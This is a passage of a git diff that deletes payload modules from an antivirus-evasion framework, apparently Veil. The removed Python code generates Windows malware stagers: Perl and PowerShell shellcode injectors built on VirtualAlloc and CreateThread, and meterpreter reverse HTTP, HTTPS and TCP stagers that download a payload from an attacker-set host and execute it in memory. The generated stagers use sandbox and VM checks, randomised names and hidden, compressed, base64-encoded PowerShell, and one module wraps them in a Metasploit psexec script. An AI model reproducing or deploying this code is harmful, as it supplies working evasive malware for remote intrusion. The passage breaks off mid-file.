running processes"], - "FILENAME" : ["X", "Optional: File name check"], - "DISKSIZE" : ["X", "Optional: Minimum disk size on target"], - "NUMCLICKS" : ["X", "Optional: Minimum number of mouse clicks"], - "REGSIZE" : ["X", "Optional: Minimum size of system registry"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_ends_required = 0 - payload_code = "use Win32::API;\n" - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate variable names - shellcode_variable = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - rand_valloc = evasion_helpers.randomString() - rand_movemem = evasion_helpers.randomString() - rand_cthread = evasion_helpers.randomString() - rand_waitfor = evasion_helpers.randomString() - rand_heapcreate = evasion_helpers.randomString() - rand_heapalloc = evasion_helpers.randomString() - rand_thread = evasion_helpers.randomString() - rand_protect = evasion_helpers.randomString() - protect_out = evasion_helpers.randomString() - - payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (shellcode_variable, Shellcode) - payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" - payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" - payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" - payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n" - payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n" - payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) - payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - rand_heapcrout = evasion_helpers.randomString() - payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n" - payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n" - payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n" - payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n" - payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) - - payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName) - payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n" - payload_code += '}\n' * num_ends_required - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/.gitignore b/Tools/Evasion/payloads/powershell/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/powershell/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/powershell/__init__.py b/Tools/Evasion/payloads/powershell/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/powershell/meterpreter/rev_http.py b/Tools/Evasion/payloads/powershell/meterpreter/rev_http.py deleted file mode 100644 index ba80823..0000000 --- a/Tools/Evasion/payloads/powershell/meterpreter/rev_http.py +++ /dev/null @@ -1,85 +0,0 @@ -""" -Custom-written pure powershell meterpreter/reverse_http stager - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "Pure PowerShell Reverse HTTP Stager" - self.path = "powershell/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8080", "Port of the Metasploit handler"], - "PROXY" : ["N", "Use system proxy settings"], - "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."], - "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"], - "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} - - def generate(self): - checks, num_ends = gamemaker.senecas_games(self) - proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;" - baseString = """$q = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); -"@\n""" - baseString += checks - baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() -function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} -function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} -function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} -function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} -$m = New-Object System.Net.WebClient;%s$m.Headers.Add("user-agent", "%s") -$n = g; [Byte[]] $p = $m.DownloadData("http://%s:%s/%s$n" ) -$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) -$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), - "" if self.required_options["PROXY"][0] == "N" else proxyString, - self.required_options["USER_AGENT"][0], - self.required_options["LHOST"][0], - self.required_options["LPORT"][0], - "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0]) - baseString += '}\n' * num_ends - encoded = evasion_helpers.deflate(baseString) - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/meterpreter/rev_https.py b/Tools/Evasion/payloads/powershell/meterpreter/rev_https.py deleted file mode 100644 index fd5d8bb..0000000 --- a/Tools/Evasion/payloads/powershell/meterpreter/rev_https.py +++ /dev/null @@ -1,83 +0,0 @@ -""" -Custom-written pure powershell meterpreter/reverse_https stager - -Module built by @harmj0y -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "Pure PowerShell Reverse HTTPS Stager" - self.path = "powershell/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8443", "Port of the Metasploit handler"], - "PROXY" : ["N", "Use system proxy settings"], - "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."], - "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"], - "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} - - def generate(self): - checks, num_ends = gamemaker.senecas_games(self) - proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;" - baseString = """$q = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); -"@\n""" - baseString += checks - baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() -function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} -function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} -function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} -function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} -[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s -$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" ) -$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) -$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), - "" if self.required_options["PROXY"][0] == "N" else proxyString, - self.required_options["USER_AGENT"][0], - self.required_options["LHOST"][0], - self.required_options["LPORT"][0], - "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0]) - encoded = evasion_helpers.deflate(baseString) - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py deleted file mode 100644 index 22b5310..0000000 --- a/Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py +++ /dev/null @@ -1,77 +0,0 @@ -""" -Custom-written pure powershell meterpreter/reverse_tcp stager - -Module @harmj0y -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "Pure PowerShell Reverse TCP Stager" - self.path = "powershell/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["4444", "Port of the Metasploit handler"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} - - def generate(self): - checks, num_ends = gamemaker.senecas_games(self) - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -"@\n""" - - baseString += checks - baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) -$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 -$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF -while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } -for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} -$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) -[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) -$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - - baseString += '}\n' * num_ends - print(baseString) - - encoded = evasion_helpers.deflate(baseString) - - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/shellcode_inject/__init__.py b/Tools/Evasion/payloads/powershell/shellcode_inject/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py b/Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py deleted file mode 100644 index 4a9d9d8..0000000 --- a/Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py +++ /dev/null @@ -1,184 +0,0 @@ -""" -Powershell method to inject inline shellcode -Builds a metasploit .rc resource file to psexec the powershell command easily - -Original concept from Matthew Graeber: - http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html - -Note: the architecture independent invoker was developed independently from: - https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ - -Port to the msf resource file by @harmj0y -""" - - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.description = "PowerShell VirtualAlloc method for inline shellcode injection that makes a Metasploit psexec_command .rc script" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "rc" - self.name = "PowerShell psexec_command stager" - self.path = "powershell/shellcode_inject/psexec_virtual" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def psRaw(self): - - checks, num_ends = gamemaker.senecas_games(self) - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - Shellcode = ",0".join(Shellcode.split("\\"))[1:] - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -"@\n""" - - baseString += """Function Get-ProcAddress -{ - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) -} -Function Get-DelegateType -{ - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() -}\n""" - - baseString += """$wut = New-Object System.Object -$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect -$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) -$why = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) -$wut | Add-Member NoteProperty -Name VirtualProtect -Value $why\n""" - - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s; -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} -$here=$wut.VirtualProtect.Invoke($x, [UInt32]0x1000, [UInt32]0x20, [Ref]0); -$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -"@\n""" - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -[Byte[]]$sc = %s -$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length) -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;} -$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - baseString += '}\n' * num_ends - - return baseString - - def generate(self): - - encoded = evasion_helpers.deflate(self.psRaw()) - - payload_code = "use auxiliary/admin/smb/psexec_command\n" - payload_code += "set COMMAND " - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\\\syswow64\\\\windowspowershell\\\\v1.0\\\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py b/Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py deleted file mode 100644 index 7f83b8a..0000000 --- a/Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py +++ /dev/null @@ -1,119 +0,0 @@ -""" -Powershell method to inject inline shellcode - -Original concept from Matthew Graeber: - http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html - -Note: the architecture independent invoker was developed independently from: - https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.description = "PowerShell VirtualAlloc method for inline shellcode injection" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "PowerShell Flat Stager" - self.path = "powershell/shellcode_inject/virtual" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : 